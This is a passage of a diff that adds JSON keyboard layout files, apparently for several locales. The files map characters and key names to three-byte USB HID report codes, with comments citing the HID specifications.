"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"M":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"Q":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"W":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Y":"02,00,1c",
|
||||||
|
"Z":"02,00,1d",
|
||||||
|
"!":"02,00,1e",
|
||||||
|
"\"":"02,00,1f",
|
||||||
|
"$":"02,00,21",
|
||||||
|
"%":"02,00,22",
|
||||||
|
"&":"02,00,23",
|
||||||
|
"/":"02,00,24",
|
||||||
|
"(":"02,00,25",
|
||||||
|
")":"02,00,26",
|
||||||
|
"=":"02,00,27",
|
||||||
|
"?":"02,00,2d",
|
||||||
|
"^":"02,00,2e",
|
||||||
|
"*":"02,00,30",
|
||||||
|
"|":"02,00,35",
|
||||||
|
";":"02,00,36",
|
||||||
|
":":"02,00,37",
|
||||||
|
"_":"02,00,38",
|
||||||
|
">":"02,00,64",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"[":"40,00,2f",
|
||||||
|
"]":"40,00,30",
|
||||||
|
"@":"40,00,33",
|
||||||
|
"#":"40,00,34",
|
||||||
|
"~":"40,00,34",
|
||||||
|
"{":"42,00,2f",
|
||||||
|
"}":"42,00,30",
|
||||||
|
"COMMAND-CTRL-SHIFT":"40,00,30",
|
||||||
|
"COMMAND-CTRL":"40,00,30",
|
||||||
|
"COMMAND-OPTION-SHIFT'":"40,00,30"
|
||||||
|
}
|
|
@ -0,0 +1,172 @@
|
||||||
|
{
|
||||||
|
"__comment": "All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment": " ",
|
||||||
|
"__comment": "This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment": " See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment": " of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment": " ",
|
||||||
|
"__comment": "Definition of these 3 bytes can be found",
|
||||||
|
"__comment": " in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment": " of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment": " - byte 1: Modifier keys",
|
||||||
|
"__comment": " - byte 2: Reserved",
|
||||||
|
"__comment": " - byte 3: Keycode 1",
|
||||||
|
"__comment": " ",
|
||||||
|
"__comment": "Both documents can be obtained from link here",
|
||||||
|
"__comment": " http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment": " ",
|
||||||
|
"__comment": "A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment": " ",
|
||||||
|
"CTRL": "01,00,00",
|
||||||
|
"CONTROL": "01,00,00",
|
||||||
|
"SHIFT": "02,00,00",
|
||||||
|
"ALT": "04,00,00",
|
||||||
|
"GUI": "08,00,00",
|
||||||
|
"WINDOWS": "08,00,00",
|
||||||
|
"CTRL-ALT": "05,00,00",
|
||||||
|
"CTRL-SHIFT": "03,00,00",
|
||||||
|
"ALT-SHIFT": "06,00,00",
|
||||||
|
"__comment": "Below 5 key combinations are for Mac OSX",
|
||||||
|
"__comment": "Example: (COMMAND-OPTION SHIFT t) to open terminal",
|
||||||
|
"COMMAND": "08,00,00",
|
||||||
|
"COMMAND-CTRL": "09,00,00",
|
||||||
|
"COMMAND-CTRL-SHIFT": "0B,00,00",
|
||||||
|
"COMMAND-OPTION": "0C,00,00",
|
||||||
|
"COMMAND-OPTION-SHIFT": "0E,00,00",
|
||||||
|
"a": "00,00,04",
|
||||||
|
"A": "02,00,04",
|
||||||
|
"b": "00,00,05",
|
||||||
|
"B": "02,00,05",
|
||||||
|
"c": "00,00,06",
|
||||||
|
"C": "02,00,06",
|
||||||
|
"d": "00,00,07",
|
||||||
|
"D": "02,00,07",
|
||||||
|
"e": "00,00,08",
|
||||||
|
"E": "02,00,08",
|
||||||
|
"f": "00,00,09",
|
||||||
|
"F": "02,00,09",
|
||||||
|
"g": "00,00,0a",
|
||||||
|
"G": "02,00,0a",
|
||||||
|
"h": "00,00,0b",
|
||||||
|
"H": "02,00,0b",
|
||||||
|
"i": "00,00,0c",
|
||||||
|
"I": "02,00,0c",
|
||||||
|
"j": "00,00,0d",
|
||||||
|
"J": "02,00,0d",
|
||||||
|
"k": "00,00,0e",
|
||||||
|
"K": "02,00,0e",
|
||||||
|
"l": "00,00,0f",
|
||||||
|
"L": "02,00,0f",
|
||||||
|
"m": "00,00,10",
|
||||||
|
"M": "02,00,10",
|
||||||
|
"n": "00,00,11",
|
||||||
|
"N": "02,00,11",
|
||||||
|
"o": "00,00,12",
|
||||||
|
"O": "02,00,12",
|
||||||
|
"p": "00,00,13",
|
||||||
|
"P": "02,00,13",
|
||||||
|
"q": "00,00,14",
|
||||||
|
"Q": "02,00,14",
|
||||||
|
"r": "00,00,15",
|
||||||
|
"R": "02,00,15",
|
||||||
|
"s": "00,00,16",
|
||||||
|
"S": "02,00,16",
|
||||||
|
"t": "00,00,17",
|
||||||
|
"T": "02,00,17",
|
||||||
|
"u": "00,00,18",
|
||||||
|
"U": "02,00,18",
|
||||||
|
"v": "00,00,19",
|
||||||
|
"V": "02,00,19",
|
||||||
|
"w": "00,00,1a",
|
||||||
|
"W": "02,00,1a",
|
||||||
|
"x": "00,00,1b",
|
||||||
|
"X": "02,00,1b",
|
||||||
|
"y": "00,00,1c",
|
||||||
|
"Y": "02,00,1c",
|
||||||
|
"z": "00,00,1d",
|
||||||
|
"Z": "02,00,1d",
|
||||||
|
"1": "00,00,1e",
|
||||||
|
"!": "02,00,1e",
|
||||||
|
"2": "00,00,1f",
|
||||||
|
"\"": "02,00,1f",
|
||||||
|
"3": "00,00,20",
|
||||||
|
"#": "02,00,20",
|
||||||
|
"4": "00,00,21",
|
||||||
|
"$": "02,00,21",
|
||||||
|
"5": "00,00,22",
|
||||||
|
"%": "02,00,22",
|
||||||
|
"6": "00,00,23",
|
||||||
|
"&": "02,00,23",
|
||||||
|
"7": "00,00,24",
|
||||||
|
"'": "02,00,24",
|
||||||
|
"8": "00,00,25",
|
||||||
|
"(": "02,00,25",
|
||||||
|
"9": "00,00,26",
|
||||||
|
")": "02,00,26",
|
||||||
|
"0": "00,00,27",
|
||||||
|
"ENTER": "00,00,28",
|
||||||
|
"ESC": "00,00,29",
|
||||||
|
"ESCAPE": "00,00,29",
|
||||||
|
"BACKSPACE": "00,00,2a",
|
||||||
|
"TAB": "00,00,2b",
|
||||||
|
"ALT-TAB": "04,00,2b",
|
||||||
|
"SPACE": "00,00,2c",
|
||||||
|
" ": "00,00,2c",
|
||||||
|
"-": "00,00,2d",
|
||||||
|
"=": "02,00,2d",
|
||||||
|
"^": "00,00,2e",
|
||||||
|
"~": "02,00,2e",
|
||||||
|
"@": "00,00,2f",
|
||||||
|
"`": "02,00,2f",
|
||||||
|
"[": "00,00,30",
|
||||||
|
"{": "02,00,30",
|
||||||
|
"\\": "00,00,31",
|
||||||
|
"|": "02,00,31",
|
||||||
|
"]": "00,00,32",
|
||||||
|
"}": "02,00,32",
|
||||||
|
";": "00,00,33",
|
||||||
|
"+": "02,00,33",
|
||||||
|
":": "00,00,34",
|
||||||
|
"*": "02,00,34",
|
||||||
|
",": "00,00,36",
|
||||||
|
"<": "02,00,36",
|
||||||
|
".": "00,00,37",
|
||||||
|
">": "02,00,37",
|
||||||
|
"/": "00,00,38",
|
||||||
|
"?": "02,00,38",
|
||||||
|
"CAPSLOCK": "00,00,39",
|
||||||
|
"F1": "00,00,3a",
|
||||||
|
"F2": "00,00,3b",
|
||||||
|
"F3": "00,00,3c",
|
||||||
|
"F4": "00,00,3d",
|
||||||
|
"F5": "00,00,3e",
|
||||||
|
"F6": "00,00,3f",
|
||||||
|
"F7": "00,00,40",
|
||||||
|
"F8": "00,00,41",
|
||||||
|
"F9": "00,00,42",
|
||||||
|
"F10": "00,00,43",
|
||||||
|
"F11": "00,00,44",
|
||||||
|
"F12": "00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK": "00,00,47",
|
||||||
|
"PAUSE": "00,00,48",
|
||||||
|
"BREAK": "00,00,48",
|
||||||
|
"INSERT": "00,00,49",
|
||||||
|
"HOME": "00,00,4a",
|
||||||
|
"PAGEUP": "00,00,4b",
|
||||||
|
"DELETE": "00,00,4c",
|
||||||
|
"DEL": "00,00,4c",
|
||||||
|
"END": "00,00,4d",
|
||||||
|
"PAGEDOWN": "00,00,4e",
|
||||||
|
"RIGHTARROW": "00,00,4f",
|
||||||
|
"RIGHT": "00,00,4f",
|
||||||
|
"LEFTARROW": "00,00,50",
|
||||||
|
"LEFT": "00,00,50",
|
||||||
|
"DOWNARROW": "00,00,51",
|
||||||
|
"DOWN": "00,00,51",
|
||||||
|
"UPARROW": "00,00,52",
|
||||||
|
"UP": "00,00,52",
|
||||||
|
"NUMLOCK": "00,00,53",
|
||||||
|
"MENU": "00,00,65",
|
||||||
|
"APP": "00,00,65"
|
||||||
|
}
|
|
@ -0,0 +1,177 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment":" ",
|
||||||
|
"a":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
"m":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"q":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"w":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"y":"00,00,1c",
|
||||||
|
"z":"00,00,1d",
|
||||||
|
"1":"00,00,1e",
|
||||||
|
"2":"00,00,1f",
|
||||||
|
"3":"00,00,20",
|
||||||
|
"4":"00,00,21",
|
||||||
|
"5":"00,00,22",
|
||||||
|
"6":"00,00,23",
|
||||||
|
"7":"00,00,24",
|
||||||
|
"8":"00,00,25",
|
||||||
|
"9":"00,00,26",
|
||||||
|
"0":"00,00,27",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
"'":"00,00,2d",
|
||||||
|
"¿":"00,00,2e",
|
||||||
|
"´":"00,00,2f",
|
||||||
|
"+":"00,00,30",
|
||||||
|
"}":"00,00,31",
|
||||||
|
"ñ":"00,00,33",
|
||||||
|
"{":"00,00,34",
|
||||||
|
"|":"00,00,35",
|
||||||
|
",":"00,00,36",
|
||||||
|
".":"00,00,37",
|
||||||
|
"-":"00,00,38",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"<":"00,00,64",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"A":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"M":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"Q":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"W":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Y":"02,00,1c",
|
||||||
|
"Z":"02,00,1d",
|
||||||
|
"!":"02,00,1e",
|
||||||
|
"\"":"02,00,1f",
|
||||||
|
"#":"02,00,20",
|
||||||
|
"$":"02,00,21",
|
||||||
|
"%":"02,00,22",
|
||||||
|
"&":"02,00,23",
|
||||||
|
"/":"02,00,24",
|
||||||
|
"(":"02,00,25",
|
||||||
|
")":"02,00,26",
|
||||||
|
"=":"02,00,27",
|
||||||
|
"?":"02,00,2d",
|
||||||
|
"¡":"02,00,2e",
|
||||||
|
"¨":"02,00,2f",
|
||||||
|
"*":"02,00,30",
|
||||||
|
"]":"02,00,31",
|
||||||
|
"Ñ":"02,00,33",
|
||||||
|
"[":"02,00,34",
|
||||||
|
"°":"02,00,35",
|
||||||
|
";":"02,00,36",
|
||||||
|
":":"02,00,37",
|
||||||
|
"_":"02,00,38",
|
||||||
|
">":"02,00,64",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"\\":"05,00,2d",
|
||||||
|
"~":"05,00,30",
|
||||||
|
"`":"05,00,31",
|
||||||
|
"^":"05,00,34",
|
||||||
|
"¬":"05,00,35",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"COMMAND-CTRL-SHIFT":"12,00,00",
|
||||||
|
"COMMAND-CTRL":"12,00,00",
|
||||||
|
"COMMAND-OPTION-SHIFT":"12,00,00",
|
||||||
|
"@":"40,00,14"
|
||||||
|
}
|
|
@ -0,0 +1,169 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment":" ",
|
||||||
|
"a":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
"m":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"q":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"w":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"y":"00,00,1c",
|
||||||
|
"z":"00,00,1d",
|
||||||
|
"1":"00,00,1e",
|
||||||
|
"2":"00,00,1f",
|
||||||
|
"3":"00,00,20",
|
||||||
|
"4":"00,00,21",
|
||||||
|
"5":"00,00,22",
|
||||||
|
"6":"00,00,23",
|
||||||
|
"7":"00,00,24",
|
||||||
|
"8":"00,00,25",
|
||||||
|
"9":"00,00,26",
|
||||||
|
"0":"00,00,27",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
"+":"00,00,2d",
|
||||||
|
"\\":"00,00,2e",
|
||||||
|
"'":"00,00,31",
|
||||||
|
"|":"00,00,35",
|
||||||
|
",":"00,00,36",
|
||||||
|
".":"00,00,37",
|
||||||
|
"-":"00,00,38",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"<":"00,00,64",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"A":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"M":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"Q":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"W":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Y":"02,00,1c",
|
||||||
|
"Z":"02,00,1d",
|
||||||
|
"!":"02,00,1e",
|
||||||
|
"\"":"02,00,1f",
|
||||||
|
"#":"02,00,20",
|
||||||
|
"%":"02,00,22",
|
||||||
|
"&":"02,00,23",
|
||||||
|
"/":"02,00,24",
|
||||||
|
"(":"02,00,25",
|
||||||
|
")":"02,00,26",
|
||||||
|
"=":"02,00,27",
|
||||||
|
"?":"02,00,2d",
|
||||||
|
"`":"02,00,2e",
|
||||||
|
"^":"02,00,30",
|
||||||
|
"*":"02,00,31",
|
||||||
|
";":"02,00,36",
|
||||||
|
":":"02,00,37",
|
||||||
|
"_":"02,00,38",
|
||||||
|
">":"02,00,64",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"@":"40,00,1f",
|
||||||
|
"$":"40,00,21",
|
||||||
|
"{":"40,00,24",
|
||||||
|
"[":"40,00,25",
|
||||||
|
"]":"40,00,26",
|
||||||
|
"}":"40,00,27",
|
||||||
|
"~":"40,00,30",
|
||||||
|
"COMMAND-CTRL-SHIFT":"40,00,30",
|
||||||
|
"COMMAND-CTRL":"40,00,30",
|
||||||
|
"COMMAND-OPTION-SHIFT'":"40,00,30"
|
||||||
|
}
|
|
@ -0,0 +1,169 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment":" ",
|
||||||
|
"a":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
"m":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"q":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"w":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"y":"00,00,1c",
|
||||||
|
"z":"00,00,1d",
|
||||||
|
"1":"00,00,1e",
|
||||||
|
"2":"00,00,1f",
|
||||||
|
"3":"00,00,20",
|
||||||
|
"4":"00,00,21",
|
||||||
|
"5":"00,00,22",
|
||||||
|
"6":"00,00,23",
|
||||||
|
"7":"00,00,24",
|
||||||
|
"8":"00,00,25",
|
||||||
|
"9":"00,00,26",
|
||||||
|
"0":"00,00,27",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
"'":"00,00,2d",
|
||||||
|
"+":"00,00,2f",
|
||||||
|
"~":"00,00,32",
|
||||||
|
"\\":"00,00,35",
|
||||||
|
",":"00,00,36",
|
||||||
|
".":"00,00,37",
|
||||||
|
"-":"00,00,38",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"<":"00,00,64",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"A":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
